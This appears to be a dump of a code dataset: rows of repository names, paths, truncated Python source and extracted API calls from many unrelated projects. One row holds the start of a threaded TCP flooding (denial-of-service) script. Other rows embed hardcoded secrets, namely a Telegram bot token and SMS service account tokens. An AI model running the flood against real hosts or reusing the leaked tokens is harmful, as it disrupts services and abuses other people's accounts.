repo_name stringlengths 7 94 | repo_path stringlengths 4 237 | repo_head_hexsha stringlengths 40 40 | content stringlengths 10 680k | apis stringlengths 2 680k |
|---|---|---|---|---|
ankur-gupta91/block_storage | openstack_dashboard/test/integration_tests/regions/messages.py | 938548a3d4507dc56c1c26b442767eb41aa2e610 | # Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# d... | [] |
bgarbin/GUIDE | model_input.py | 06bca4e696b97ca14c11d74844d3b3ab7287f8f1 | # -*- coding: utf-8 -*-
import numpy as np
#import cmath as cm
# Main parameters for window
# 'record_every': number of time_steps one between two consecutive record events
window_params = {'kernel': 'RK4','nstep_update_plot': 100, 'step_size': 0.01, 'array_size': 10000, 'streaming': True, 'record_state':False, ... | [((6936, 7005), 'numpy.reshape', 'np.reshape', (["variables['mod_A'][-(folding * nb_rt):]", '(nb_rt, folding)'], {}), "(variables['mod_A'][-(folding * nb_rt):], (nb_rt, folding))\n", (6946, 7005), True, 'import numpy as np\n'), ((7629, 7725), 'numpy.arange', 'np.arange', (["params['min_scan']", "(params['max_scan'] + p... |
Harshavardhan-BV/Cancer-compe-strat | input/EnvEq/pairwise/Tneg-Tpro/u_lim_o2Tpro-u_lim_o2Tneg/parallelizer.py | e4decacd5779e85a68c81d0ce3bedf42dea2964f | from multiprocessing import Pool
import EnvEq as ee
import numpy as np
import itertools as it
import os
#parsing input into numpy arrays
from input import *
y0=np.array([y0_Tpos,y0_Tpro,y0_Tneg,y0_o2,y0_test])
p=np.array([p_o2,p_test])
mu=np.array([[mu_o2Tpos,mu_o2Tpro,mu_o2Tneg],[mu_testTpos,mu_testTpro,0]])
lam=np.a... | [((161, 214), 'numpy.array', 'np.array', (['[y0_Tpos, y0_Tpro, y0_Tneg, y0_o2, y0_test]'], {}), '([y0_Tpos, y0_Tpro, y0_Tneg, y0_o2, y0_test])\n', (169, 214), True, 'import numpy as np\n'), ((213, 237), 'numpy.array', 'np.array', (['[p_o2, p_test]'], {}), '([p_o2, p_test])\n', (221, 237), True, 'import numpy as np\n'),... |
1985312383/contest | task1_makeTrainingDataset.py | c4734647ad436cf5884075f906a3e9f10fc4dcfa | import csv
import re
import numpy as np
thre = 1.5 # 要调整的参数,这个是阈值
iteration_num = 2 # 要调整的参数,这个是迭代次数
def KalmanFilter(z, n_iter=20):
# 卡尔曼滤波
# 这里是假设A=1,H=1的情况
# intial parameters
sz = (n_iter,) # size of array
# Q = 1e-5 # process variance
Q = 1e-6 # process variance
# allocate space... | [((343, 355), 'numpy.zeros', 'np.zeros', (['sz'], {}), '(sz)\n', (351, 355), True, 'import numpy as np\n'), ((391, 403), 'numpy.zeros', 'np.zeros', (['sz'], {}), '(sz)\n', (399, 403), True, 'import numpy as np\n'), ((448, 460), 'numpy.zeros', 'np.zeros', (['sz'], {}), '(sz)\n', (456, 460), True, 'import numpy as np\n')... |
marcinguy/checkmate-ce | checkmate/contrib/plugins/all/progpilot/setup.py | fc33c7c27bc640ab4db5dbda274a0edd3b3db218 | from .analyzer import ProgpilotAnalyzer
from .issues_data import issues_data
analyzers = {
'phpanlyzer' :
{
'name' : 'phpanalyzer',
'title' : 'phpanalyzer',
'class' : ProgpilotAnalyzer,
'language' : 'all',
'issues_data' : issues_data,
},
}... | [] |
truckli/technotes | genlist.py | 11d3cc0a1bd33141a22eaa2247cac1be1d74718a | #!/usr/bin/env python
import shutil, re, os, sys
file_model = "Model.template"
bookname = "TechNotes"
file_bibtex = "thebib.bib"
folder_target = "../pdf/"
#if name is a chapter, return its sections
def get_sections(name):
if not os.path.isdir(name):
return []
files = os.listdir(name)
sections = ... | [] |
mattl1598/testing | editing files/Portable Python 3.2.5.1/App/Lib/site-packages/serial/serialposix.py | cd8124773b83a07301c507ffbb9ccaafbfe7a274 | #!/usr/bin/env python
#
# Python Serial Port Extension for Win32, Linux, BSD, Jython
# module for serial IO for POSIX compatible systems, like Linux
# see __init__.py
#
# (C) 2001-2010 Chris Liechti <cliechti@gmx.net>
# this is distributed under a free software license, see license.txt
#
# parts based on code from Gran... | [((943, 963), 'sys.platform.lower', 'sys.platform.lower', ([], {}), '()\n', (961, 963), False, 'import sys, os, fcntl, termios, struct, select, errno, time\n'), ((8289, 8308), 'struct.pack', 'struct.pack', (['"""I"""', '(0)'], {}), "('I', 0)\n", (8300, 8308), False, 'import sys, os, fcntl, termios, struct, select, errn... |
electricimp/examples | Older Examples - enter at your own risk/lavender_pos/app/models.py | ebdd01baf64f3aa67f027194457432c7d7501d37 | import datetime
from database import Base
from sqlalchemy import Column, String, Integer, ForeignKey, DateTime, Float
class User(Base):
__tablename__ = 'users'
id = Column(Integer, primary_key=True)
first_name = Column(String(255))
last_name = Column(String(255))
email = Column(String(255), index... | [((176, 209), 'sqlalchemy.Column', 'Column', (['Integer'], {'primary_key': '(True)'}), '(Integer, primary_key=True)\n', (182, 209), False, 'from sqlalchemy import Column, String, Integer, ForeignKey, DateTime, Float\n'), ((1374, 1407), 'sqlalchemy.Column', 'Column', (['Integer'], {'primary_key': '(True)'}), '(Integer, ... |
ebretl/roboracing-software | rr_ml/nodes/end_to_end/train.py | 8803c97a885500069d04e70894b19f807ae5baf9 | import os
import math
import string
import numpy as np
import rospy
import keras
from keras.models import Sequential
from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \
GaussianNoise, BatchNormalization
import cv2
import collections
import random
import time
from example_s... | [] |
heureka-code/Kronos-heureka-code | build/lib/Kronos_heureka_code/Zeit/__init__.py | 0ddbc93ec69f0bc50075071e6a3e406c9cc97737 | from Kronos_heureka_code.Zeit.Uhrzeit import Uhrzeit, Stunde, Minute, Sekunde
from Kronos_heureka_code.Zeit.Datum.Monat import Monate
from Kronos_heureka_code.Zeit.Datum.Jahr import Jahr, Zeitrechnung
from Kronos_heureka_code.Zeit.Datum.Tag import Tag
| [] |
cthoyt/retro_star | retro_star/utils/logger.py | 280231eb2f5dffc0e14bed300d770977b323205a | import logging
def setup_logger(fname=None, silent=False):
if fname is None:
logging.basicConfig(
level=logging.INFO if not silent else logging.CRITICAL,
format='%(name)-12s: %(levelname)-8s %(message)s',
datefmt='%m-%d %H:%M',
filemode='w'
)
els... | [((91, 263), 'logging.basicConfig', 'logging.basicConfig', ([], {'level': '(logging.INFO if not silent else logging.CRITICAL)', 'format': '"""%(name)-12s: %(levelname)-8s %(message)s"""', 'datefmt': '"""%m-%d %H:%M"""', 'filemode': '"""w"""'}), "(level=logging.INFO if not silent else logging.CRITICAL,\n format='%(na... |
hiep4hiep/content | Packs/MISP/Integrations/MISPV3/MISPV3.py | f609c4c9548fe2188e8e2e00b2c9e80a74e24427 | # type: ignore
from typing import Union, List, Dict
from urllib.parse import urlparse
import urllib3
from pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute
from pymisp.tools import GenericObjectGenerator
import copy
from pymisp.tools import FileObject
from CommonServerPytho... | [((1129, 1155), 'urllib3.disable_warnings', 'urllib3.disable_warnings', ([], {}), '()\n', (1153, 1155), False, 'import urllib3\n'), ((1584, 1659), 'pymisp.ExpandedPyMISP', 'ExpandedPyMISP', ([], {'url': 'MISP_URL', 'key': 'MISP_API_KEY', 'ssl': 'VERIFY', 'proxies': 'PROXIES'}), '(url=MISP_URL, key=MISP_API_KEY, ssl=VER... |
fusuyfusuy/School-Projects | pycle/bicycle-scrapes/epey-scrape/downLink5.py | 8e38f19da90f63ac9c9ec91e550fc5aaab3d0234 |
from bs4 import BeautifulSoup
import os
import wget
from urllib.request import Request, urlopen
bicycles=[{'name': 'Kron XC150 27.5 HD Bisiklet', 'link': 'https://www.epey.com/bisiklet/kron-xc150-27-5-hd.html'}, {'name': 'Corelli Trivor 3 Bisiklet', 'link': 'https://www.epey.com/bisiklet/corelli-trivor-3-0.html'}, {'... | [((19518, 19569), 'urllib.request.Request', 'Request', (['url'], {'headers': "{'User-Agent': 'Mozilla/5.0'}"}), "(url, headers={'User-Agent': 'Mozilla/5.0'})\n", (19525, 19569), False, 'from urllib.request import Request, urlopen\n'), ((19588, 19600), 'urllib.request.urlopen', 'urlopen', (['req'], {}), '(req)\n', (1959... |
hugoseabra/redmine-task-generator | redmine/__init__.py | b5ce1764f1c7588a7c82b25f7dd4bf07d1c105cf | from django.conf import settings
from redminelib import Redmine as DefaultRedmine
from .validator import RedmineInstanceValidator
class Redmine(DefaultRedmine):
def __init__(self, url=None, key=None):
url = url or settings.REDMINE_BASE_URL
key = key or settings.REDMINE_API_KEY
super().__i... | [] |
trenton3983/PyCharmProjects | python_survey/finished_files/main.py | fae8653a25e07e7384eb0ddf6ea191adeb44face | import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import scipy.stats
from finished_files.survey_data_dictionary import DATA_DICTIONARY
# Load data
# We want to take the names list from our data dictionary
names = [x.name for x in DATA_DICTIONARY]
# Generate the list of names to import
usecols =... | [((585, 696), 'pandas.read_csv', 'pd.read_csv', (['"""data/survey.csv"""'], {'header': '(0)', 'names': 'names', 'dtype': 'dtypes', 'converters': 'converters', 'usecols': 'usecols'}), "('data/survey.csv', header=0, names=names, dtype=dtypes,\n converters=converters, usecols=usecols)\n", (596, 696), True, 'import pand... |
yinghdb/AdelaiDet | adet/modeling/embedmask/mask_pred.py | 94a9b7cde92fb039852f876964d991a1f3e15af4 | import torch
from torch.nn import functional as F
from torch import nn
from torch.autograd import Variable
from adet.utils.comm import compute_locations, aligned_bilinear
def dice_coefficient(x, target):
eps = 1e-5
n_inst = x.size(0)
x = x.reshape(n_inst, -1)
target = target.reshape(n_inst, -1)
in... | [((1370, 1412), 'torch.sort', 'torch.sort', (['errors'], {'dim': '(0)', 'descending': '(True)'}), '(errors, dim=0, descending=True)\n', (1380, 1412), False, 'import torch\n'), ((1719, 1755), 'torch.clamp', 'torch.clamp', (['x'], {'min': 'eps', 'max': '(1 - eps)'}), '(x, min=eps, max=1 - eps)\n', (1730, 1755), False, 'i... |
SVilgelm/CloudFerry | cloudferry/actions/prechecks/check_vmax_prerequisites.py | 4459c0d21ba7ccffe51176932197b352e426ba63 | # Copyright 2016 Mirantis Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,... | [((789, 816), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (806, 816), False, 'import logging\n'), ((1627, 1644), 'getpass.getuser', 'getpass.getuser', ([], {}), '()\n', (1642, 1644), False, 'import getpass\n'), ((2639, 2685), 'cloudferry.lib.utils.remote_runner.RemoteRunner', 'remote_r... |
codeforamerica/bongo | bongo/core.py | a1b162c54fc51630ae1cfac16e1c136b0ff320a3 | """
A simple wrapper for the Bongo Iowa City bus API.
"""
import requests as req
class Bongo(object):
"""
A simple Python wrapper for the Bongo Iowa City bus API.
"""
def __init__(self, format='json'):
self.format = format
def get(self, endpoint, **kwargs):
"""Perform a HTTP GET... | [((515, 542), 'requests.get', 'req.get', (['url'], {'params': 'kwargs'}), '(url, params=kwargs)\n', (522, 542), True, 'import requests as req\n')] |
janaSunrise/useful-python-snippets | src/security/tcp_flooding.py | f03285b8f0b44f87326ca982129dab80a18697f5 | import random
import socket
import string
import sys
import threading
import time
def attack(host: str, port: int = 80, request_count: int = 10 ** 10) -> None:
# Threading support
thread_num = 0
thread_num_mutex = threading.Lock()
# Utility function
def print_status() -> None:
global thre... | [((228, 244), 'threading.Lock', 'threading.Lock', ([], {}), '()\n', (242, 244), False, 'import threading\n'), ((794, 843), 'socket.socket', 'socket.socket', (['socket.AF_INET', 'socket.SOCK_STREAM'], {}), '(socket.AF_INET, socket.SOCK_STREAM)\n', (807, 843), False, 'import socket\n'), ((1281, 1307), 'socket.gethostbyna... |
yuvalot/ml_final_project | src/ml_final_project/utils/evaluators/default.py | fefb67c92504ceeb7999e49daa8a8aa5a60f1c61 | def default_evaluator(model, X_test, y_test):
"""A simple evaluator that takes in a model,
and a test set, and returns the loss.
Args:
model: The model to evaluate.
X_test: The features matrix of the test set.
y_test: The one-hot labels matrix of the test set.
... | [] |
wangjm12138/Yolov3_wang | test.py | 3d143c7cd863dec796edede3faedacc6590cab5e | import random
class Yolov3(object):
def __init__(self):
self.num=0
self.input_size=[8,16,32]
def __iter__(self):
return self
def __next__(self):
a = random.choice(self.input_size)
self.num=self.num+1
if self.num<3:
return a
else:
raise StopIteration
yolo=Yolov3()
for data in yolo:
print(data)
| [((161, 191), 'random.choice', 'random.choice', (['self.input_size'], {}), '(self.input_size)\n', (174, 191), False, 'import random\n')] |
huchenxucs/WaveRNN | utils/dsp.py | 6d5805d54b8a3db99aa190083b550236f2c15d28 | import math
import numpy as np
import librosa
from utils import hparams as hp
from scipy.signal import lfilter
import soundfile as sf
def label_2_float(x, bits):
return 2 * x / (2**bits - 1.) - 1.
def float_2_label(x, bits):
assert abs(x).max() <= 1.0
x = (x + 1.) * (2**bits - 1) / 2
return x.clip(0... | [((916, 1035), 'librosa.feature.melspectrogram', 'librosa.feature.melspectrogram', ([], {'S': 'spectrogram', 'sr': 'hp.sample_rate', 'n_fft': 'hp.n_fft', 'n_mels': 'hp.num_mels', 'fmin': 'hp.fmin'}), '(S=spectrogram, sr=hp.sample_rate, n_fft=hp.\n n_fft, n_mels=hp.num_mels, fmin=hp.fmin)\n', (946, 1035), False, 'imp... |
koliupy/loldib | loldib/getratings/models/NA/na_talon/na_talon_jng.py | c9ab94deb07213cdc42b5a7c26467cdafaf81b7f | from getratings.models.ratings import Ratings
class NA_Talon_Jng_Aatrox(Ratings):
pass
class NA_Talon_Jng_Ahri(Ratings):
pass
class NA_Talon_Jng_Akali(Ratings):
pass
class NA_Talon_Jng_Alistar(Ratings):
pass
class NA_Talon_Jng_Amumu(Ratings):
pass
class NA_Talon_Jng_Anivia(Ratings):
pass
... | [] |
derenyilmaz/personality-analysis-framework | utils/turkish.py | 9e1f3ac1047b1df07498159de23f88f87644d195 | class TurkishText():
"""Class for handling lowercase/uppercase conversions of Turkish characters..
Attributes:
text -- Turkish text to be handled
"""
text = ""
l = ['ı', 'ğ', 'ü', 'ş', 'i', 'ö', 'ç']
u = ['I', 'Ğ', 'Ü', 'Ş', 'İ', 'Ö', 'Ç']
def __init__(self, text):
self.te... | [] |
Soumya117/finnazureflaskapp | app/helpers/geocode.py | 794f82596a329ff1a2e4dc23d49903a0ef474f95 | import googlemaps
gmaps = googlemaps.Client(key='google_key')
def get_markers(address):
geocode_result = gmaps.geocode(address)
return geocode_result[0]['geometry']['location']
| [((27, 62), 'googlemaps.Client', 'googlemaps.Client', ([], {'key': '"""google_key"""'}), "(key='google_key')\n", (44, 62), False, 'import googlemaps\n')] |
aspratyush/dl_utils | tf/estimators/keras_estimator.py | c067831f3c72aba88223c231c7fbc249d997e222 | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
# Imports
import os
import numpy as np
import tensorflow as tf
def run(model, X, Y, optimizer=None, nb_epochs=30, nb_batches=128):
"""
Run the estimator
"""
if optimizer is None:
optim... | [((613, 690), 'tensorflow.keras.estimator.model_to_estimator', 'tf.keras.estimator.model_to_estimator', ([], {'keras_model': 'model', 'model_dir': '"""./lenet"""'}), "(keras_model=model, model_dir='./lenet')\n", (650, 690), True, 'import tensorflow as tf\n'), ((2763, 2839), 'tensorflow.keras.estimator.model_to_estimato... |
l0ui3/isign | isign/archive.py | c0730ac1ce1b32defe8c6016e19b9701184b0f5a | """ Represents an app archive. This is an app at rest, whether it's a naked
app bundle in a directory, or a zipped app bundle, or an IPA. We have a
common interface to extract these apps to a temp file, then resign them,
and create an archive of the same type """
import abc
import biplist
from bundle impor... | [((706, 733), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (723, 733), False, 'import logging\n'), ((1296, 1329), 'tempfile.mkdtemp', 'tempfile.mkdtemp', ([], {'prefix': '"""isign-"""'}), "(prefix='isign-')\n", (1312, 1329), False, 'import tempfile\n'), ((1790, 1815), 'os.walk', 'os.wal... |
dscole/conan | conan/tools/env/virtualrunenv.py | ff7b8e6703e8407773968517d68424b9ec59aa30 | from conan.tools.env import Environment
def runenv_from_cpp_info(conanfile, cpp_info):
""" return an Environment deducing the runtime information from a cpp_info
"""
dyn_runenv = Environment(conanfile)
if cpp_info is None: # This happens when the dependency is a private one = BINARY_SKIP
retu... | [((193, 215), 'conan.tools.env.Environment', 'Environment', (['conanfile'], {}), '(conanfile)\n', (204, 215), False, 'from conan.tools.env import Environment\n'), ((1243, 1271), 'conan.tools.env.Environment', 'Environment', (['self._conanfile'], {}), '(self._conanfile)\n', (1254, 1271), False, 'from conan.tools.env imp... |
rrickgauer/lists | src/api/api_lists/models/list.py | 371de6af332789ef386392fd24857702794d05a6 | """
**********************************************************************************
List model
**********************************************************************************
"""
from enum import Enum
from dataclasses import dataclass
from uuid import UUID
from datetime import datetime
class ListType(str, Enum... | [] |
azogue/hassio_config | config/appdaemon/apps/power_alarm.py | 591f158794c173d6391179ab2f52348d58c49aad | # -*- coding: utf-8 -*-
"""
Automation task as a AppDaemon App for Home Assistant -
current meter PEAK POWER notifications
"""
import datetime as dt
from enum import IntEnum
import appdaemon.plugins.hass.hassapi as hass
LOG_LEVEL = "INFO"
LOG_LEVEL_ALERT = "WARNING"
LOGGER = "special_event_log"
COEF_CRITICAL_LIMIT ... | [((7078, 7095), 'datetime.datetime.now', 'dt.datetime.now', ([], {}), '()\n', (7093, 7095), True, 'import datetime as dt\n'), ((3745, 3762), 'datetime.datetime.now', 'dt.datetime.now', ([], {}), '()\n', (3760, 3762), True, 'import datetime as dt\n')] |
SPIN-UMass/SWEET | mailmynet/Maildir/proxy_postfix/Twisted-11.0.0/build/lib.linux-x86_64-2.6/twisted/internet/gtk2reactor.py | 1b0f39222e7064f70812e3293ca023619295741d | # -*- test-case-name: twisted.internet.test -*-
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.
"""
This module provides support for Twisted to interact with the glib/gtk2
mainloop.
In order to use this support, simply do the following::
| from twisted.internet import gtk2reactor
| ... | [((1126, 1148), 'gobject.threads_init', 'gobject.threads_init', ([], {}), '()\n', (1146, 1148), False, 'import gobject\n'), ((2087, 2103), 'gtk.main_level', 'gtk.main_level', ([], {}), '()\n', (2101, 2103), False, 'import gtk\n'), ((2597, 2622), 'zope.interface.implements', 'implements', (['IReactorFDSet'], {}), '(IRea... |
fpl-analytics/gr_crypto | run_mod.py | 2b0ab451c9c205a9f572c4bca23fffbb68ca188f | """
Setup:
- Import Libraries
- Setup tf on multiple cores
- Import Data
"""
import pandas as pd
import numpy as np
import tensorflow as tf
import seaborn as sns
from time import time
import multiprocessing
import random
import os
from tensorflow.keras.models import Sequential
from tensorflow.keras.layer... | [] |
menlen/one | bot.py | e24f1489d98faa9b548ebd668f2860c8d671b489 | # This example show how to use inline keyboards and process button presses
import telebot
import time
from telebot.types import InlineKeyboardMarkup, InlineKeyboardButton
import os, sys
from PIL import Image, ImageDraw, ImageFont
import random
TELEGRAM_TOKEN = '1425859530:AAF5MQE87Zg_bv3B2RLe3Vl2A5rMz6vYpsA'
... | [((328, 359), 'telebot.TeleBot', 'telebot.TeleBot', (['TELEGRAM_TOKEN'], {}), '(TELEGRAM_TOKEN)\n', (343, 359), False, 'import telebot\n'), ((1562, 1610), 'PIL.Image.new', 'Image.new', (['"""RGBA"""', 'base.size', '(255, 255, 255, 0)'], {}), "('RGBA', base.size, (255, 255, 255, 0))\n", (1571, 1610), False, 'from PIL im... |
Southampton-RSG/2019-03-13-southampton-swc | novice/python-unit-testing/answers/test_rectangle2.py | 1f07d82c1bd1f237a19fa7a17bb4765e0364dc88 | from rectangle2 import rectangle_area
def test_unit_square():
assert rectangle_area([0, 0, 1, 1]) == 1.0
def test_large_square():
assert rectangle_area([1, 1, 4, 4]) == 9.0
def test_actual_rectangle():
assert rectangle_area([0, 1, 4, 7]) == 24.0
| [((74, 102), 'rectangle2.rectangle_area', 'rectangle_area', (['[0, 0, 1, 1]'], {}), '([0, 0, 1, 1])\n', (88, 102), False, 'from rectangle2 import rectangle_area\n'), ((147, 175), 'rectangle2.rectangle_area', 'rectangle_area', (['[1, 1, 4, 4]'], {}), '([1, 1, 4, 4])\n', (161, 175), False, 'from rectangle2 import rectang... |
unclechu/py-radio-class | tests/requestreply.py | 8f96d8bcb398693d18a4ebd732415a879047edee | # -*- coding: utf-8 -*-
from unittest import TestCase, TestLoader
from radio import (Radio, ListenerNotFound, ReplyHandlerAlreadyBound,
HandlerAlreadyBound)
def init_radio(f):
def wrap(self, *args):
self.radio = Radio()
return f(self, *args)
return wrap
class TestRadio... | [((248, 255), 'radio.Radio', 'Radio', ([], {}), '()\n', (253, 255), False, 'from radio import Radio, ListenerNotFound, ReplyHandlerAlreadyBound, HandlerAlreadyBound\n'), ((3016, 3028), 'unittest.TestLoader', 'TestLoader', ([], {}), '()\n', (3026, 3028), False, 'from unittest import TestCase, TestLoader\n')] |
sophiawa/Mayan-EDMS | mayan/apps/rest_api/exceptions.py | 42f20576d0c690b645a60bf53c5169cda4264231 |
class APIError(Exception):
"""
Base exception for the API app
"""
pass
class APIResourcePatternError(APIError):
"""
Raised when an app tries to override an existing URL regular expression
pattern
"""
pass
| [] |
Immich/jina | tests/unit/types/message/test_message.py | 1f5f7cf4d82029d76ab41df157526fe6f6e0da50 | import sys
from typing import Sequence
import pytest
from jina import Request, QueryLang, Document
from jina.clients.request import request_generator
from jina.proto import jina_pb2
from jina.proto.jina_pb2 import EnvelopeProto
from jina.types.message import Message
from jina.types.request import _trigger_fields
from... | [((5195, 5461), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""typ,pb_typ"""', "[('train', jina_pb2.RequestProto.TrainRequestProto), ('index', jina_pb2.\n RequestProto.IndexRequestProto), ('search', jina_pb2.RequestProto.\n SearchRequestProto), ('control', jina_pb2.RequestProto.ControlRequestProto)\n... |
MrMonk3y/vimrc | tabnine-vim/third_party/ycmd/ycmd/tests/python/testdata/project/settings_extra_conf.py | 950230fb3fd7991d1234c2ab516ec03245945677 | import os
import sys
DIR_OF_THIS_SCRIPT = os.path.abspath( os.path.dirname( __file__ ) )
def Settings( **kwargs ):
return {
'interpreter_path': sys.executable,
'sys_path': [ os.path.join( DIR_OF_THIS_SCRIPT, 'third_party' ) ]
}
| [((60, 85), 'os.path.dirname', 'os.path.dirname', (['__file__'], {}), '(__file__)\n', (75, 85), False, 'import os\n'), ((187, 234), 'os.path.join', 'os.path.join', (['DIR_OF_THIS_SCRIPT', '"""third_party"""'], {}), "(DIR_OF_THIS_SCRIPT, 'third_party')\n", (199, 234), False, 'import os\n')] |
Cloud-PG/smart-cache | SmartCache/sim/Utilities/setup.py | 467987abece3fd4830fd615288046359761229f8 | from distutils.core import setup
setup(
name='utils',
version='1.0.0',
author='Mirco Tracolli',
author_email='mirco.tracolli@pg.infn.it',
packages=[
'utils',
],
scripts=[],
url='https://github.com/Cloud-PG/smart-cache',
license='Apache 2.0 License',
description='Utils fo... | [] |
liangleslie/core | homeassistant/components/eight_sleep/binary_sensor.py | cc807b4d597daaaadc92df4a93c6e30da4f570c6 | """Support for Eight Sleep binary sensors."""
from __future__ import annotations
import logging
from pyeight.eight import EightSleep
from homeassistant.components.binary_sensor import (
BinarySensorDeviceClass,
BinarySensorEntity,
)
from homeassistant.core import HomeAssistant
from homeassistant.helpers.enti... | [((599, 626), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (616, 626), False, 'import logging\n')] |
bpedersen2/indico-plugins-cern | ravem/tests/util_test.py | c4f06d11d981c316fc8de2892758484deb58e2f5 | # This file is part of the CERN Indico plugins.
# Copyright (C) 2014 - 2022 CERN
#
# The CERN Indico plugins are free software; you can redistribute
# them and/or modify them under the terms of the MIT License; see
# the LICENSE file for more details.
from unittest.mock import MagicMock
import pytest
from requests.ex... | [((506, 535), 'pytest.mark.usefixtures', 'pytest.mark.usefixtures', (['"""db"""'], {}), "('db')\n", (529, 535), False, 'import pytest\n'), ((537, 587), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""method"""', "('get', 'post')"], {}), "('method', ('get', 'post'))\n", (560, 587), False, 'import pytest\n'),... |
stormsha/StormOnline | apps/organization/urls.py | 10983b7a9ee09958927731ee3fd74178d7534ff6 | # _*_ coding: utf-8 _*_
# ---------------------------
__author__ = 'StormSha'
__date__ = '2018/3/28 18:01'
# ---------------------------
# -------------------------django----------------------
from django.conf.urls import url
from .views import OrgView, AddUserAskView, OrgHomeView, OrgCourseView, OrgDescView, OrgTeach... | [] |
priyamshah112/Project-Descripton-Blog | tech_project/lib/python2.7/site-packages/filer/migrations/0010_auto_20180414_2058.py | 8e01016c6be79776c4f5ca75563fa3daa839e39e | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('filer', '0009_auto_20171220_1635'),
]
operations = [
migrations.AlterField(
mod... | [((384, 562), 'django.db.models.OneToOneField', 'models.OneToOneField', ([], {'primary_key': '(True)', 'serialize': '(False)', 'related_name': '"""filer_image_file"""', 'parent_link': '(True)', 'to': '"""filer.File"""', 'on_delete': 'django.db.models.deletion.CASCADE'}), "(primary_key=True, serialize=False, related_nam... |
ckamtsikis/cmssw | SLHCUpgradeSimulations/Configuration/python/aging.py | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | import FWCore.ParameterSet.Config as cms
# handle normal mixing or premixing
def getHcalDigitizer(process):
if hasattr(process,'mixData'):
return process.mixData
if hasattr(process,'mix') and hasattr(process.mix,'digitizers') and hasattr(process.mix.digitizers,'hcal'):
return process.mix.digiti... | [((3034, 3097), 'SimCalorimetry.HGCalSimProducers.hgcalDigitizer_cfi.HFNose_setEndOfLifeNoise', 'HFNose_setEndOfLifeNoise', (['process'], {'byDose': '(True)', 'byDoseAlgo': 'algo'}), '(process, byDose=True, byDoseAlgo=algo)\n', (3058, 3097), False, 'from SimCalorimetry.HGCalSimProducers.hgcalDigitizer_cfi import HFNose... |
cbschaff/nlimb | xml_parser.py | f0564b00bab1b3367aaa88163e49bebc88f349bb | import numpy as np
import xml.etree.ElementTree as ET
class Geom(object):
def __init__(self, geom):
self.xml = geom
self.params = []
def get_params(self):
return self.params.copy()
def set_params(self, new_params):
self.params = new_params
def update_point(self, p, ne... | [((9394, 9425), 'gym.make', 'gym.make', (['"""RoboschoolHopper-v1"""'], {}), "('RoboschoolHopper-v1')\n", (9402, 9425), False, 'import gym, roboschool\n'), ((9625, 9659), 'os.makedirs', 'os.makedirs', (['outdir'], {'exist_ok': '(True)'}), '(outdir, exist_ok=True)\n', (9636, 9659), False, 'import os\n'), ((1671, 1691), ... |
josephmancuso/masonite-forum | app/http/middleware/LoadUserMiddleware.py | a91c7386f3e0b02b0ac71623eb295a7543cb60fd | ''' Load User Middleware'''
from masonite.facades.Auth import Auth
class LoadUserMiddleware:
''' Middleware class which loads the current user into the request '''
def __init__(self, Request):
''' Inject Any Dependencies From The Service Container '''
self.request = Request
def before(sel... | [((650, 663), 'masonite.facades.Auth.Auth', 'Auth', (['request'], {}), '(request)\n', (654, 663), False, 'from masonite.facades.Auth import Auth\n')] |
mgaertne/minqlx-plugin-tests | src/unittest/python/merciful_elo_limit_tests.py | 10a827fe063c86481560dcc00a8a3ce2ba60861b | from minqlx_plugin_test import *
import logging
import unittest
from mockito import *
from mockito.matchers import *
from hamcrest import *
from redis import Redis
from merciful_elo_limit import *
class MercifulEloLimitTests(unittest.TestCase):
def setUp(self):
setup_plugin()
setup_cvars({
... | [] |
Vent-Any/meiduo_mall_cangku | meiduo_mall/celery_tasks/sms/tasks.py | 5b3b7f029be267cb5d2d3666f99be166d27213f1 | from ronglian_sms_sdk import SmsSDK
from celery_tasks.main import app
# 写我们的任务(函数)
# 任务必须要celery的实例对象装饰器task装饰
# 任务包的任务需要celery调用自检检查函数。(在main里面写。)
@app.task
def celery_send_sms_code(mobile, sms_code):
accId = '8a216da8762cb4570176c60593ba35ec'
accToken = '514a8783b8c2481ebbeb6a814434796f'
appId = '8a216da... | [((380, 410), 'ronglian_sms_sdk.SmsSDK', 'SmsSDK', (['accId', 'accToken', 'appId'], {}), '(accId, accToken, appId)\n', (386, 410), False, 'from ronglian_sms_sdk import SmsSDK\n')] |
JeisonJHA/Plugins-Development | delphiIDE.py | cccb58908eed6114c569e53d5710e70b8d53f5c5 | import sublime_plugin
class MethodDeclaration(object):
"""docstring for MethodDeclaration"""
def __init__(self):
self._methodclass = None
self.has_implementation = False
self.has_interface = False
@property
def has_implementation(self):
return self._has_implementation... | [] |
syt123450/tfjs-converter | python/test_pip_package.py | a90fa59a44d9425beb7b1584fe753c62d62bbc4d | # Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... | [((1826, 1850), 'tensorflow.keras.layers.Input', 'keras.layers.Input', (['(3,)'], {}), '((3,))\n', (1844, 1850), False, 'from tensorflow import keras\n'), ((2177, 2236), 'tensorflow.keras.models.Model', 'keras.models.Model', ([], {'inputs': '[input_tensor]', 'outputs': '[output]'}), '(inputs=[input_tensor], outputs=[ou... |
rrosajp/script.ezclean | script.ezclean/resources/lib/modules/skinz.py | ed6fbe6441713a3c96ce15a595cdd5c69291355f | # -*- coding: UTF-8 -*-
import os, re, shutil, time, xbmc
from resources.lib.modules import control
